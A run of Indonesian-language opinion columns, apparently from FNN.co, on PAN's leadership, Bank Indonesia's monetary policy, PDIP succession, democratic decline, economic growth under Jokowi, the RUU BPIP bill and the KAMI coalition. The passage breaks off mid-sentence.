Profesor Doktor Amin Rais. Mudah-mudahan beliau selalu sehat walafiat, dan selalu dalam lindungan Allah SWT”, ujar Sutrisno Bachir. Sutrisno tetap berharap Profesor Doktor Amin Rais menyaksikan acara HUT PAN ke 22 kali ini. Semoga saja mau Pak Amin mengikhlaskan estafet kepemimpinan PAN kepada generasi saat ini. Sutrisno juga berharap, semoga Pak Amin selalu bersama-sama kita untuk membawa PAN lebih besar dari sekarang. Baik Sutrisno Bachir, Hatta Raja dan Zulkifli Hasan adalah Ketua Umum dan mantan Ketua Umum PAN yang dibasarkan oleh Pak Amin Rais. Dikaderkan oleh Pak Amin Rais. Tanpa campur tangan Pak Amin Rais, mereka bertiga tidak mungkin bisa menjadi Ketua Umum PAN. Termasuk Zulkifli Hasan yang terpilih pada periode pertama lima tahun lalu. Sebelum mengahiri tulisan ini, sahabat wartawan senior FNN.co Kisman Latumakulita pernah bercerita tentang sepak-terjang Pak Amis Rais di awal-awal begulirnya reformasi 98. Catatan mengenai Pak Rmin Rais, reformasi dan PAN adalah tiga serangkai yang sulit untuk bisa dipisahkan satu dengan yang lain. Catatannya selalu saja saling kait-mengkait. Menurut ingatan Kisman, setiap kali mau keluar rumah atau gedung pertemuan, Pak Amin Rais selalu mengingatkan anggota rombongan, agar selalu dalam keadaan bersih (bersuci). Jangan memakai celana dalam yang dapat membatalkan wudhu. Sebaiknya selalu dalam posisi sedang berwudhu. Kalau wudhunya batal karena kentut, hadats kecil (kecing), hadats besar atau akibat lain, sebaiknya secepatnya segera berwudhu lagi. Supaya kalau nanti di perjalanan, meninggal dunia karena terkena tembakan atau sebab lain, sangat aman kalau dalam posisi sedang berwudhu. Insya Allah meninggalnya syahid. Menjwab WhatsAap (WA) teman tentang siapa pendiri PAN setelah 22 tahun terbentuk, oh sekarang terkuak, siapa pendiri PAN yang sebenarnya? Ternyata bukan bukan Pak Amin Rais pendiri PAN. Kalau begitu siapa pendiri PAN? Dijawab oleh teman lagi melalui WA, “mungkin yang satu diantara yang memberikan sambutan di HUT PAN ke 22 tadi”. Penulis adalah Watawan Senior FNN.co.

BI Menjadi Rentenir Saat Krisis Ekonomi Parah?

by Anthony Budiawan Jakarta FNN – Ahad (23/08). Pandemi corona membuat mata masyarakat terbuka lebar. Betapa lemahnya ekonomi Indonesia. Kebijakan fiskal harus di-doping dengan dua dosis. Pertama, defisit anggaran ditingkatkan, dari tiga persen menjadi tidak terbatas. Tetapi tetap tidak memadai. Maka diperlukan doping kedua dengan menarik Bank Indonesia (BI) untuk membiayai defisit anggaran tersebut. BI diminta membeli sebagian besar surat utang negara di pasar primer?. Bahasa awamnya adalah mencetak uang. Direksi BI sudah berulang-ulang menyatakan tidak mau mencetak uang. BI iuga tidak mau membeli surat utang negara di pasar primer. Apalagi aturan tentang larangan itu masih berlaku di UU tentang BI. Ancamannnya adalah menghabiskan sisa hidup hari tua di dalam dinding penjara menanti mereka bila kekuasaan ini telah berganti kelak. Kedua doping tersebut sebenarnya nyata-nyata ilegal. Melanggar UU tentang Keuangan Negara dan UU tentang BI. Tetapi diterabas dengan Peraturan Pemerintah Pengganti Undang-Undang (Perppu) No 1/2020 yang kemudian disahkan menjadi UU No 2/2020. Untuk melengkapi doping ini agar sempurna, Perppu dilengkapi pasal “kekebalan” hukum. Mereka tidak bisa dituntut dalam kondisi apapun, meskipun doping tersebut ternyata salah guna, atau disalahgunakan, alias diselewengkan. Tapi perlu diingat, undang-undang yang berlawanan dengan UUD dan dibentuk dengan niat kurang baik, tidak bisa menghalangi hukum kebenaran, ketika kebenaran itu telah datang. Kebijakan moneter BI saat ini sangat tidak memadai untuk menahan krisis ekonomi. Bahkan bisa kontra produktif. BI seharusnya menurunkan suku bunga acuan (BI-rate) secara agresif. Tidak seperti sekarang, penurunan BI-rate tidak banyak arti. Hanya turun satu persen sejak 23 Januari 2020 hingga sekarang. Masing-masing turun 0,25 persen pada 20 februari 2020, 19 Maret 2020, 18 Juni 2020, dan terakhir 16 Juli 2020. BI-rate bertahan di 4 persen sampai sekarang. Sebagai perbandingan, Bank Sentral AS (The FED) sangat agresif menurunkan suku bunga acuan (FEd-rate) dalam menghadapi pandemi ini. FED-rate turun 1,5 persen dalam waktu kurang dari dua minggu. Turun 0,5 persen pada 3 Maret 2020 dan turun 1 persen pada 15 Maret 2020, membuat FED-rate mendekati 0 persen. Bank of England juga menurunkan bunga acuan secara agresif. Turun dari 0,75 persen menjadi 0,25 persen pada 16 Maret 2020. Kemudian turun lagi menjadi 0,1 persen pada 19 Maret 2020. Penurunan BI-rate sangat penting bagi pemulihan ekonomi. Karena, kalau BI-rate turun maka suku bunga pinjaman juga turun. BI-rate ditetapkan 4 persen di tengah krisis ekonomi yang parah ini sangat tidak masuk akal. Akibatnya, suku bunga pinjaman perbankan tetap tinggi. Saat ini masih setidak-tidaknya 8 persen, bahkan ada yang di atas 10 persen. Suku bunga pinjaman yang tinggi menjadi beban pemulihan ekonomi. BI-rate 4 persen juga membuat suku bunga (yield) obligasi (korporasi maupun pemerintah) tetap tinggi. Jauh lebih tinggi dari yield obligasi sejenis di Vietnam, Philipina atau Thailand. Oleh karena itu, BI seharusnya menurunkan BI-rate menjadi 1 persen atau 1,5 persen, untuk mempercepat pemulihan ekonomi. Bukannya menurunkan BI-rate, BI dan pemerintah malah sepakat menjalankan skema burden-sharing. Artinya, BI membeli surat utang negara dengan bunga efektif 0 persen. Karena BI akan mengembalikan kepada pemerintah semua bunga yang diterima. Ini kebijakan yang ngawur dan amburadul. Burden sharing merupakan istilah kamuflase saja. Istilah ini bisa masuk kategori “pembodohan atau pembohongan pubik”. Karena burden sharing pada dasarnya adalah mencetak uang, di mana BI membeli surat utang negara dengan bunga efektif nol persen. Dalam hal ini, BI sebenarnya tidak menanggung burden sama sekali. Karena uang BI berasal dari hasil “mencetak uang”. Kebijakan moneter di atas sangat tidak pantas dilakukan oleh bank sentral negara terbesar ke empat dunia, anggota G20. Ini merupakan kebijakan moneter diskriminatif terhadap warga negara. Ini sama dengan pertarungan Korporasi, UMKM dan masyarakat melawan pemerintah. Kenapa pemerintah diberi suku bunga nol persen, tetapi masyarakat warga negara lainnya harus dibebani bunga tinggi? BI seharusnya mengambil kebijakan menurunkan BI-rate dan suku bunga pinjaman, sehingga masyarakat dapat menikmati manfaat yang sama. Tetapi, BI tidak melakukannya. Pertanyaannya, kenapa? Ada apa? Siapa yang diuntungkan? Di tengah krisis dan resesi ekonomi, bank besar di Indonesia (BUKU 4) masih dapat menikmati margin bunga bersih, atau Net Interest Margin (NIM) sebesar 5,09 persen pada April 2020. Sungguh besar sekali. BI bagaikan rentenir. Penulis adalah Managing Director Political Economy and Policy Studies (PEPS)

Pertarungan Jokowi vs Puan Maharani

by Tony Rosyid Jakarta FNN – Ahad (23/08). Usia nggak ada yang tahu. Umumnya, yang tua lebih dulu meninggal dunia dari yang muda. Meski ada juga yang muda meninggal duluan. Itu semua rahasia Tuhan. Presiden ke-5 Megawati Soekarnoputri sudah sepuh. Usianya kini sudah mencapai 73 tahun. Tentu kita semua mendo’akan semoga beliau selalu sehat dan diberi usia yang panjang. Jasanya sangat besar, terutama bagi kader PDIP. Lalu pertanyaannya, siapa pengganti beliau di PDIP kelak? Ini yang menarik. Tokoh paling potensial sekarang ada dua. Pertama adalah Puan Maharani Ketua DPR. Anak biologis dan trah Soekarno. Kedua adalah Jokowi. Kader yang saat ini memegang kekuasaan politik sebagai Presiden. Hitung-hitungan ini, dengan catatan jika kita mengesampingkan posisi Prananda, putra Megawati yang lain. Apakah Puan Maharani atau Jokowi yang akan mengganti Megawati? Ini tentu nsangat bergantung pada situasi obyektif. Jika pergantian itu masih disaksikan oleh Megawati, maka Puan Maharani lebih besar peluangnya. Sebab, Megawati bisa mengontrol semua jalannya suksesi di PDIP ini. Ucapan Megawati adalah Sabdo Pandito Ratu buat kader PDIP. Tak ada yang berani melawan. Megawati layak mempertimbangkan untuk melakukan suksesi yang lebih cepat. Ini akan jadi strategi yang efektif untuk memuluskan regenerasi kepemimpinan sesuai ekspektasi Megawati. Sebut saja "suksesi calon tunggal". Jika tidak disaksikan Megawati, maka akan menjadi bola liar yang sangat sulit untuk dikendalikan Jika suksesi itu ternyata terjadi tanpa kesaksian Megawati, maka Jokowi tentu saja punya peluang yang lebih. Meski bukan anak biologis, juga bukan "kader yang dirindukan", kekuasaan yang saat ini ada di tangan Jokowi punya peranan besar. Ingat ketika Jusuf Kalla, wapres saat itu, menggusur Akbar Tanjung dari ketum Golkar? Ingat ketika Jokowi inginkan Setya Novanto ambil Golkar, meski Ade Komaruddin menguat? Soal pengaruh, Jokowi sudah jadi legenda di mata kader PDIP. Fakta ini tak bisa dipungkiri. Meski kalangan elit PDIP lebih bersikap rasional. Maksudnya, punya hitung-hitungan pragmatis. Bergantung mana yang menguntungkan bagi mereka. Dalam konteks ini, pasti lebih menguntungkan jika mereka dukung Jokowi. Sebab, Jokowi adalah penguasa. Akses logistik dan tawaran posisi berlimpah. Jika Jokowi ditakdirkan jadi Ketua Umum PDIP, maka Gibran dan Bobby, anak dan menantu Jokowi punya masa depan karir politik yang lebih menjanjikan. Disini ada peluang untuk membangun dinasti politik baru. Sebaliknya, jika Jokowi turun sebelum 2024, otomatis Jokowi tamat dengan sendirinya. Tak perlu ada analisis lagi. Semua buku analisis terututup rapat. Tapi, jika Jokowi sampai 2024, dan suksesi terjadi minus Mega, ini akan menarik. Jokowi tetap punya kekuatan untuk melawan Puan Maharani. Setidaknya, kolega dan kekuatan logistik, Jokowi lebih siap. Adu kuat trah Soekarno dengan Jokowi akan seru. Buku analisis politik tentang PDIP jadi menarik lagi untuk dibuka. Kelompok ideologis akan dukung Puan Maharani. Sementara, Jokowi akan didukung oleh kelompok pragmatis. Mana yang lebih besar? Apakah kelompok ideologis atau pragmatis? Ini akan menentukan siapa pemenangnya. Semua akan bergantung pada situasi obyektif saat terjadi peralihan kepemimpinan di PDIP. Inilah yang akan menentukan siapa pemenang antara Jokowi vs Puan Maharani. Kita tunggu saja waktu yang tepat untuk menyaksikan. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Kutukan Sisifus

by Zainal Bintang Jakarta FNN – Ahad (23/08). Peringatan ulang tahun ke 75 Proklamasi Kemerdekaan Bangsa Indonesia 17 Agustus 2020 ditandai dua kegiatan yang serupa, tapi tak sama. Acara rutin yang diselenggarakan sebagai tradisi negara berlangsung pada tanggal 17 Agustus 2020 di Istana Merdeka. Keesokan harinya 18 Agustus diadakan pula acara yang sama di Tugu Proklamasi , Pegangsaan, Jakarta Pusat. Penyelenggara di Tugu Proklamasi adalah Deklarator KAMI (Koalisi Aksi Menyelematkan Indonesia). Koalisi yang dibentuk oleh Din Syamsuddin, Gatot Nurmantiyo dan Rochmat Wahab bersama sejumlah tokoh ilmuawan, agamawan, budayawan, aktifis lintas agama, profesi, gender dan usia. Hakekat dibalik kelahiran KAMI nampaknya lebih banyak terkait dengan kekecewaan atas sinyalemen terjadinya kemunduran kehidupan demokrasi dalam beberapa tahun belakangan ini. Berbicara kemunduran demokrasi di dunia dewasa ini, perlu membaca laporan Freedom in The World 2020. Lembaga tersebut memberikan peringkat terhadap 195 negara, dan menyatakan bahwa 83 dari negara tersebut sebagai "bebas", 63 negara sebagai "bebas sebagian”, dan 49 negara sebagai "tidak bebas”. Sementara di banyak negara lainnya, orang-orang turun ke jalan dan mengekspresikan ketidakpuasan terhadap sistem politik yang ada. Mereka menuntut perubahan dan perbaikan agar negara menjadi lebih baik dan lebih demokratis. Gerakan-gerakan demonstrasi antara lain terjadi di Hong Kong, Aljazair, Bolivia, Chili, Ethiopia, Indonesia, Irak, Iran, Lebanon, dan Sudan. Gerakan-gerakan ini sering kali bertentangan dengan kepentingan kekuasaan yang telah mengakar kuat. Kekuasaan yang gagal menghasilkan perubahan yang signifikan, tulis laporan itu. Jumlah keseluruhan negara dengan status sebagai negara bebas telah menurun sebesar tiga persen dalam dekade terakhir. Indeks ini memperhitungkan berbagai faktor seperti fungsi pemerintah, transparansi, supremasi hukum, pluralisme serta kebebasan berekspresi dan berkeyakinan. Laporan tahun ini menunjukkan penurunan yang tajam dalam skala global terkait komitmen pemerintah terhadap pluralisme. Kelompok etnis, agama, dan minoritas lainnya telah banyak mengalami persekusi di negara-negara demokrasi dan otoriter. Laporan itu juga menuliskan menurun kebebasan di negara-negara demokrasi. Adanya penurunan kebebasan di sejumlah negara yang terkenal demokratis. Apa yang dilaporkan lembaga think tank Freedom House tahun 2020, cukup suram. “Demokrasi dan pluralisme sedang diserang. Diktator berupaya keras membasmi perbedaan pendapat yang tersisa, dan menyebarkan pengaruh berbahaya ke sudut-sudut baru di dunia”. Lembaga ini menyoroti menurunnya demokrasi di berbagai penjuru dunia, termasuk Amerika Serikat dan India. Freedom House yang merupakan lembaga swadaya masyarakat yang didanai pemerintah Amerika Serikat, menyoroti tanda bahaya atas memburuknya indeks kebebasan di negara-negara otoriter dan demokratis. Kaburnya koridor kekuasaan antara legislatif dengan eksekutif, termasuk di Indonesia paska reformasi, menimbulkan ketimpangan yang melemahkan check and balances di parlemen. Perwujudan demokrasi tidak bekerja sebagaimana teori “trias politica” hasil rumusan Montesquieu tentang pemisahan kekuasaan kepada tiga lembaga berbeda, “Legislatif, Eksekutif, dan Yudikatif”. Berdasarkan sejumlah kajian, dikatakan sistem pemilu multipartai di Indonesia yang dilaksanakan secara langsung sejak tahun 2004, mengakibatkan persebaran kekuasaan kepada banyak partai. Mendorong partai mengambil langkah berkoalisi dan membuka ruang kompromi, yang berujung pragmatisme. Jika mau kuat di parlemen, maka eksekutif (presiden) dipaksa membangun mitra koalisi partai pendukung. Meskipun sistem presidensial membuat posisi politik presiden cukup kuat, namun karena bukan ketua umum partai, mau tidak mau Jokowi dituntut untuk membayar “ongkos” koalisi yang lebih mahal. Komposisi menteri kabinet “pelangi” saat ini yang warna-warni, banyak dikritik karena dinilai mengabaikan kompetensi. Itu adalah refleksi fragmentasi kekuatan politik sistem multi partai. Presiden tidak memiliki kekuatan komando tunggal. Berbeda dengan Soeharto yang mengendalikan penuh komando Golkar di tangannya. Selama 32 tahun pemerintahan Orba (Orde Baru), Golkar sebagai kendaraan politik pemerintah memenangkan enam kali pemilu berturut-turut dengan perolehan suara masif diatas 70 persen. Menempatkannya sebagai peraih suara terbanyak yang disebut “single mayority” (mayoritas tunggal). Sementara dua partai kontestan lainnya, yakni PPP dan PDI hanya dijadikan pelengkap penderita demokratisasi. Tragedi “kabinet pelangi” minim kompetensi sebagai ekses dari sistem pemilu multi partai yang dialami SBY (Soesilo Bambang Yudhoyono) dua priode (2004 – 2014). Ini adalah contoh soal betapa lemahnya “bargaining power” hasil pemilu multi partai. Karena hanya mampu melahirkan “simple mayority” (mayoritas sederhana) melalui praktik “jual-beli” suara di pasar koalisi. Ujung-ujungnya SBY tidak berhasil membuat program terobosan sebagai legasi bangsa. Meskipun dia berposisi sebagai ketua umum partai, akan tetapi koalisi memaksanya menari mengikuti irama gendang mereka yang yang sarat dengan “pemerasan” politik. Akibatnya, SBY kehilangan banyak waktu untuk berkompromi untuk banyak hal yang tidak ada hubungannya dengan kesejahteraan rakyat. Kedigdayaan legislator sebagai kelompok penekan eksekutif, membuat mereka lupa daratan. Terjebak di dalam perburuan kekuasaan politik dan materiel. Biaya kontestasi politik yang mahal (money politic) untuk menjadi legislator, memaksa mereka mendewakan budaya transaksional. Butuh transaksi politik untuk mengembalikan biaya investasi dan memupuk sumber daya investasi baru untuk kontestasi ke depannya. Fungsi check and balances digeser ke nomor dua. Tidak mengherankan jika akhirnya yang terjadi adalah kendornya komitmen aktor politik di parlemen. Banyak politisi kacangan, odong-odong, kaleng-kelang dan beleng-beleng berkantor di senayan. Sejumlah kajian menyebutkan melalui jalan reformasi, bangsa besar ini terjebak dalam lingkaran setan kejahatan regulasi dan kejahatan korupsi. Apa yang menimpa dunia perpolitikan Indonesia paska reformasi? Ketika membuka kiriman pesan WhatsApp dari teman seniman teater yang kesohor, dia menganalogikan bangsa Indonesia kini bagaikan sedang terjebak di dalam perangkap “nasib buruk” seorang raja dalam legenda mitologi Yunani yang bernama Sisifus (Sisiphus). Alkisah, tersebab oleh sebuah pembangkangan, dewa Zeus menghukum Sisifus untuk terus-menerus mendorong sebuah bongkahan batu besar ke atas puncak bukit. Setelah sempat merasakan kelegaan sedikit saat di puncak, batu besar itu menggelinding kembali ke kaki bukit. Dan setelah itu batu itupun harus didorongnya kembali. Demikian dilakukan berulang-ulang. Sistem politik hasil reformasi dianalogikan mengkerangkeng kekuatan politik (koalisi) di parlemen. Sehingga menjalani "penderitaan" serupa kutukan nasib buruk Sisifus. Jika Sisifus tak berkutik oleh tekanan hukuman Zeus sang dewa. Sementara koalisi di parlemen ditengarai masyarakat juga tidak berdaya dibawah tekanan semacam dewa lain yang bernama "Oligarkis, Korporasi dan Konglomerasi" yang terkenal dengan prilaku licik, picik, tamak dan culas. Sang oligarkis, korporasi dan konglomerasi itu bisa sangat powerfull. Karena di dalam tubuhnya menyatu perpaduan kekuatan politik dan kekuatan pendanaan. Meskipun tanpa bentuk nyata oligarikis telah menjebak bangsa ke dalam perangkap politik “lari berputar". Mereka berhasil membangun pusat kekuasaan tanpa alamat dan kartu nama. Mempunyai kekuatan lobi yang mengalahkan partai politik formal. Mengatur jalannya pemerintahan bahkan arah negara. Tragisnya karena berhasil mendegradasi fungsi aktor “trias politica” turun ke tingkat yang rendah dan nista, menjadi instrument legitimasi regulasi yang menjauh dari cita – cita proklamsi. Penulis adalah Wartawan Senior dan Pemerhati Sosial Budaya.

Selama Jokowi, Ekonmi Hanya Tumbuh 5,03%

by Anthony Budiawan Pertumbuhan ekonomi Indonesia selama periode 2015-2019 hanya rata-rata 5,03 persen per tahun. Capaian ini tentu saja lebih rendah dari dua periode lima tahunan sebelumnya, yang masing-masing sebesar 5,64 persen per tahun (2005-2009) dan 5,80 persen per tahun (2010-2014). Pertumbuhan rata-rata 5,03 persen ini di bawah target atau janji pemerintah Jokoswi yang dipatok angka pertumbuhan 7 persen per tahun. Seharusnya pemerintah menjelaskan kenapa janji tersebut tidak bisa dipenuhi. Lebih baik lagi kalau disertai minta maaf. Rakyat akan menghargai sikap seperti itu. Sikap kesatria untuk mengakui kekurangan. Penjelasan mengapa target tidak tercapai? Itu sangat penting untuk diketahui rakyat. Mungkin saja rakyat bisa memahami dan memaafkan ketikamampuan pemerintah Jokowi. Karena dengan penjelasan ini, mencerminkan pemerintah mengerti permasalahan sebenarnya. Mengerti situasi objektif ekonomi yang terjadi, sehingga dapat mewujudkan janjinya di kemudian hari. Pemerintah memang mencoba menjelaskan alasannya. Katanya, penurunan ekonomi tahun-tahun terakhir ini akibat perang dagang antara Amerika Serikat dan China. Alasan ini sangat sulit untuk dipahami dan diterima . Karena ekonomi nergara tetangga yang masih satu kawasan ASEAN, Vietnam dan Philipina ternyata malah naik pada periode 2015-2019. Pertumbuhan Vietnam rata-rata 6,76 persen per tahun (2015-2019). Sedangkan Philipina naik menjadi 6,56 persen per tahun untuk periode yang sama. Jauh lebih tinggi dari pertumbuhan Indonesia yang hanya rata-rata 5,03 persen per tahun. Oleh karena itu, alasan perang dagang global Amerika dan China terlalu mengada-ada. Juga menggampangkan masalah, sehingga kurang bisa diterima. Pembenaran juga selalu mewarnai alasan mengapa janji pertumbuhan ekonomi tidak tercapai. Pemerintah dan para pendukungnya sering menyatakan, meskipun pertumbuhan Indonesia melemah tetapi masih menjadi salah satu terbaik di kelompok G20, menempati peringkat ketiga. Dan seterusnya. Padahal membandingkan ekonomi Indonesia dengan negara-negara G20 adalah sebuah kesalahan. Pertama, di kelompok G20, sudah sejak lama pertumbuhan Indonesia selalu di peringkat tinggi. Tahun 2008 dan 2009, pertumbuhan Indonesia di peringkat 3. Tahun 2012 di peringkat 2. Bahkan pada tahun 1994 hingga 1996 pertumbuhan Indonesia juga sudah di peringkat 3 di kelompok negara-negara G20. Jadi, pertumbuhan ketiga tertinggi di kelompok G20 bukan sebuah prestasi. Sudah sejak tahun 1994. Kedua, negara yang masuk kelompok G20 sebagian besar adalah negara maju yang mempunyai pendapatan per kapita sudah sangat tinggi. Ada yang di atas U$ 40.000, bahkan U$ 50.000 dollar. Sedangkan Indonesia hanya sekitar U$ 4.000 dolar AS. Kondisi ekonomi di kebanyakan negara maju tersebut sudah mendekati full-employment. Sehingga terjadi limitasi tenaga kerja untuk ekspansi. Disamping upah tenaga kerja juga sangat tinggi. Sehingga, perusahaan-perusahaan di negara maju (multi-nasional) terdorong melakukan ekspansi ke negara berkembang yang mempunyai upah buruh lebih murah. Kenyataan ini menjelaskan, mengapa pertumbuhan di negara berkembang lebih tinggi dari negara maju? Dalam hal ini, Vietnam dan Philipina lebih berhasil menarik investasi global dibandingkan Indonesia, sehingga pertumbuhan ekonomi kedua negara ini lebih tinggi. Yang lebih mengkhawatirkan, banyak pihak, termasuk pejabat, membanggakan pertumbuhan Indonesia yang sedang menurun dengan cara yang kurang pantas. Misalnya dengan merendahkan ekonomi negara G20 lainnya. Merendahkan ekonomi sesama negara ASEAN. Kita sering dengar pernyataan, “pertumbuhan Indonesia lebih baik dari ... dari negara tetangga”. Pernyataan seperti ini sangat tidak pantas. Melanggar etika dan sopan santun hubungan internasional. Seolah-olah mereka gagal mengelola ekonominya. Seolah-olah mereka lebih bodoh dari kita. Penulis adalah Managing Director Political Economy and Policy Studies (PEPS)

Ngapain Gus Nabiel Uring-Uringan?

by M. Rizal Fadillah Jakarta FNN – Sabtu (22/08). FKP2B menyampaikan sikap penolakan Rancangan Undang-Undang Badan Pembinaan Ideologi Pancasila (RUU BPIP) dengan seperangkat argumen hukum, politik, dan akademik. Namun sikap ini dikomentari negatif oleh Muchamad Nabiel Haroen, Anggota Komisi IX DPR RI dari Fraksi PDIP. FKP2B diminta untuk membaca utuh isi RUU oleh Nabiel. Meski demikian, tentu saja Gus Nabiel juga bisa diminta untuk membaca utuh tuangan sikap dan argumen FKP2B dalam surat terbukanya tersebut. Sebab menurut Gus Nabiel, RUU BPIP adalah respons pemerintah atas aspirasi warga yang ingin perubahan RUU Haluan Ideologi Pancasila (HIP). Nah rupanya anggota DPR ini tidak mampu untuk membaca secara utuh aspirasi warga masyarakat soal RUU HIP yang berbau komunis tersebut. Warga bukannya ingin perubahan atas RUU HIP. Melainkan warga ingin pencabutan atau pembatalan. Tak ada artinya perubahan atas RUU dengan paradigma yang sama. Sebab RUU HIP adalah akar atau fondamen. Sedangkan RUU BPIP adalah cabang. Bukankah Gus Nabiel sangat mengetahui bahwa BPIP itu menjadi bagian dari konten RUU HIP? Justru yang terjadi adalah kekacauan berfikir atau berlogika dalam hukum. Bagaimana RUU cabang dibuat tanpa akar. Goyah kan jadinya. Inilah model dari sebuah RUU yang manipulatif, asal-asalan, serta berisi selundupan misi menghidupkan faham komunis. Faham komunis yang dikemas dalam Trisila dan Ekasila, serta kebudayaan yang berketuhanan. Keliru menilai FKP2B itu melakukan argumentasi a historis. Justru FKP2B mengungkap fakta-fakta tentang argumentasi historis. RUU BPIP historisnya adalah RUU HIP. Dan kedua RUU tersebut dalam konteks Pancasila tidak dapat melepaskan dari basis Pancasila 1 Juni 1945. Tolong dibaca dengan utuh RUU BPIP oleh Gus Nabiel, terutama pada konsideran butir a dan b. Historis Pancasila 1 Juni 1945 itu tertuang apik. Ini paradigma. Ini juga selundupan ide, ini yang sangat berbahaya itu. Publik tidak perlu dibohongi bahwa RUU BPIP adalah perpanjangan misi dan duplikasi dari RUU HIP. Publik, khususnya umat Islam sangat memahami renacan busuk tersebut. Baiknya Gus Nabiel juga membaca dengan utuh AD/ART PDIP. Maka nantinya akan ketemu antara misi perjuangan partai dalam kaitan dengan Pancasila yang adalah Pancasila 1 Juni 1945. Bukan berjuang membela atau memurnikan Pancasila 18 Agustus 1945, yaitu Pancasila kini yang berlaku. Pancasila yang telah menjadi hasil konsensus bersama itu 18 Agustus 19445. Wajar pula jika FKP2B mengkritisi kompetensi pimpinan atau personal Badan Pembina Ideologi Pancasila (BPIP). Ketua BPIP Yudian Wahyudi telah "babak belur" dikritik soal pernyataan-pernyataannya dari mulai salam Pancasila hingga agama yang dianggap musuh Pancasila. Ibu Megawati sebagai Ketua Dewan Pengarah BPIP juga harus introspeksi. Jangan hanya menjadi "pejuang" dan "pengarah" untukk Pancasila 1 Juni 1945. BPIP harus "full" berpijak pada Pancasila 18 Agustus 1945. Jika tidak, dikhawatirkan menjadi krisis pilitik. Padahal seluruh komponen bangsa sedang berjuang melawan pandemi covid 19. Dampak pendemi covid 19 hampir melumpuhkan seluruh sektor kehidupan berbangsa dan bernegara. Hari ini sektor ekonomi lumpuh hampir sempurna. Sektor politik juga lumpuh. Itu ditandai dengan kerja DPR dalam pembuatan beberapa Undang-Undang, yang tidak mendengarkan masukan dari masyarakat. Sektor sosial dan budaya juga ikut lumpuh. Sebaiknya DPR RI mau mendengar aspirasi rakyat. Tampung dan olah dengan obyektif dan seksama. Bukan menjadi penanggap parsial atas aspirasi. Mohon baca utuh jika ada surat terbuka yang mungkin agak panjang. Renungkan dan sikapi dengan baik. RUU BPIP adalah RUU usulan Pemerintah. Telah mengabaikan inisiatif DPR. RUU berbalas RUU. Kacau sekali DPR periode ini. DPR adalah wakil Rakyat. Bukan wakil Pemerintah. Anggota DPR harus berani mengoreksi kesalahan politik atau hukum dari Pemerintah. RUU BPIP memang harus ditolak. Tidak layak untuk dilanjutkan pemebahasannya. Penulis adalah Pemerhati Politik dan Kebangsaan.

KAMI Terus Melawan

by Mangarahon Dongoran Ada satu yang harus dilakukan pemerintah. Segera turunkan harga bahan bakar minyak, baik yang subsidi maupun non subsidi. Kalau BBM subsidi harus dibicarakan dengan DPR okelah bisa lama. Akan tetapi, non subsidi yang katanya harganya mengikuti mekanisme pasar, kok belum turun juga. Bukankah di pasar internasional harga minyak sudah lama turun? Jakarta FNN - Sabtu (22/8). Selasa, 18 Agustus 2020, sejumlah tokoh kritis terhadap situasi kehidupan berbangsa dan bernegara yang kini morat-marit mendeklarasikan KAMI (Koalisi Aksi Menyelamatkan Indonesia). Deklarasi yang dilakukan di Tugu Proklamasi, Jakarta Pusat itu merupakan gerakan moral untuk menggugah kesadaran Presiden dan jajarannya, serta elit politik agar membuka mata dan telinga lebar-lebar untuk melihat dan mendengarkan keluh-kesah atau kegelisahan yang merebak di tengah masyarakat yang secara ekonomi kian terpuruk di tengah pandemi Corona Virus Deases 2019 (Covid-19) atau Virus China yang belum bisa dipastikan kapan berakhir. Ada mantan Panglima TNI Jenderal Purnawirawan Gatot Nurmantyo, Din Syamsudin, Rizal Ramli, Rocky Gerung, Ahmad Yani (Ketua Komite Eksekutif KAMI), Refly Harun (pakar hukum tata negara), M.Said Didu, Ichsanuddin Noorsy (Pengamat Ekonomi dan Pembangunan) dan sederet nama lainnya. Total ada 150 deklarator. Mereka mengeluarkan suara dan kritik keras yang terdiri dari delapan poin, yang membuat pembela pemerintah kepanasan. Kehadiran KAMI telah membuat BuzzerRp seperti cacing kepanasan. Berbagai manuver mereka lakukan, termasuk melakukan aksi tandingan yang diikuti puluhan orang di dekat Tugu Proklamasi, tempat KAMI dideklarasikan. Tak hanya aksi demo, BuzzerRp pun memperlihatkan batang hidungnya lewat media sosial. Mereka terus-menerus meng-counter seluruh isi deklarasi itu. Bahkan, mereka tidak malu-malu menyebutkan, para deklarator itu adalah pejabat pecatan, mantan pejabat tidak tahu diri, tidak becus bekerja dan berbagai kalimat lainnya yang asal tuduh. Padahal, tidak ada deklarator yang berasal dari pejabat yang dipecat. Sasaran utama mereka menyebut pejabat pecatan adalah Gatot Nurmantyo. Padahal, tidak ada surat pemecatan kepada Gatot. Yang ada adalah surat pemberhentian dengan hormat, karena memasuki masa pensiun. Jadi, kalau betul dipecat, cobalah tunjukkan surat pemecatannya. Kemudian Din Syamsudin. Mantan Ketua PP Muhammadyah ini sempat diangkat Presiden Joko Widodo menjadi Utusan Khusus untuk Dialog Antaragama dan Peradaban bulan Oktober 2017. Namun, tidak sampai setahun, Din mengundurkan diri dari jabatannya itu. Ia mengundurkan diri pada September 2018 dengan alasan menjaga neteralitas dalam menghadapi Pileg dan Pilpres 2019, karena ia menjabat sebagai Ketua Dewan Pertimbangan Majelis Ulama Indonesia, dan Ketua Dewan Nasional Pergerakan Indonesia Maju. Bahkan, ada juga yang menyebut Din radikal. Kalau radikal, kok bisa diangkat jadi Utusan Khusus Presiden untuk Dialog Antaragama dan Peradaban? Mungkin, para Buzzer bayaran itu belum tahu sepak-terjang Din Syamsudin, baik di tingkat nasional maupun internasional. Kalau di tingkat nasional, tentu harus tahu sepak-terjang Ketua PP Muhammadiyah dua periode itu ( 2005-2010 dan 2010-2015) itu. Ia banyak melakukan dialog antaragama dan peradaban. Oleh karena itu, ia cukup dekat dengan tokoh-tokoh agama lain, seperti Pastor Beny Susetyo (Katolik), dengan tokoh Kristen, Hindu, Budha, dan Konghucu. Din adalah salah satu penggagas Centre for Dialogue and Cooperation among Civilization (CDCC), yang berkantor di Jalan Kemiri, Menteng, Jakarta Pusat. Saya beberapa kali ikut meliput kegiatan di rumah pribadi yang dijadikan kantor itu. Di tempat ini sering dilakukan dialog antaragama, termasuk mendatangkan narasumber dari agama lain dan negara lain. Karena kedekatannya denga tokoh-tokoh agama di dalam negeri dan juga luar negeri, maka Din seringkali menjadi pembicara mengenai agama dan peradaban di dunia internasional. Apa ia, kalau Din yang bernama lengkap Muhammad Sirajuddin Syamsuddin itu radikal, bisa diterima oleh tokoh-tokoh agama lain? Apa ia, seorang radikal bisa diangkat menjadi utusan khusus Presiden? Apa ia, jika seseorang radikal, tapi masih diterima oleh berbagai kalangan? Kemudian Rizal Ramli. Ekonom senior yang dijuluki 